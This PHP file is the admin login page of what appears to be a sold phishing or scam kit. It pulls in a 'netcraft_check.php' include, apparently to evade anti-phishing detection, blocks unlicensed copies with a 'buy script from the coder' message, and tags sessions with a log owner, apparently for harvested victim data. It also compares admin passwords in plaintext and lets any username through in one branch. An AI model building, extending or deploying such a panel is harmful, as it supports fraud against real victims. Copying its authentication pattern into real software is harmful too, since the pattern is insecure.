<?php
	
	session_start();
	 require_once "./../../remote/500.php";
	 include "../vendor/index.php";
	include "../../CONFIG.php";
	include "../vendor/100.php";
	include "../vendor/200.php";
	include "../vendor/netcraft_check.php";


if (isset($_SESSION['admin_login']) && $_SESSION["admin_logged"] == "true") { 
    header("location:dashboard.php"); 
} else { 
    if (isset($_POST["submit"])) { 

        if ($Multiple_Admins == "on") { 
            if (in_array($_POST["admin_user"], $Admin_Usernames)) { 
                if ($_POST["loginpass"] == $admin_password && $_POST["admin_type"] == 1) { 
                    if ($validate != null && $scriptStatus == "Alive") { 
                        $_SESSION["admin_logged"] = "true"; 
                        $_SESSION["log_owner"] = $_POST["admin_user"]; 
                        header("location:dashboard.php"); 
                    } else { 
                        echo "<script>alert('Script Not Valid, Buy from the coder');</script>"; 
                        header("HTTP/1.0 404 Not Found"); 
                        die("<h1>You need to buy script from the coder, else will not work bro.</h1>"); 
                    } 
                }
            } 
        }else{

                	if ($_POST["loginpass"] == $admin_password && $_POST["admin_type"] == 1) { 
					   $_SESSION["admin_logged"] = "true"; 
                        $_SESSION["log_owner"] = $_POST["admin_user"]; 
                        header("location:dashboard.php"); 
					} else { 
					    echo "<script>alert('Enter correct Admin Password to continue!')</script>"; 
					}
               	} 
    }
} 




?>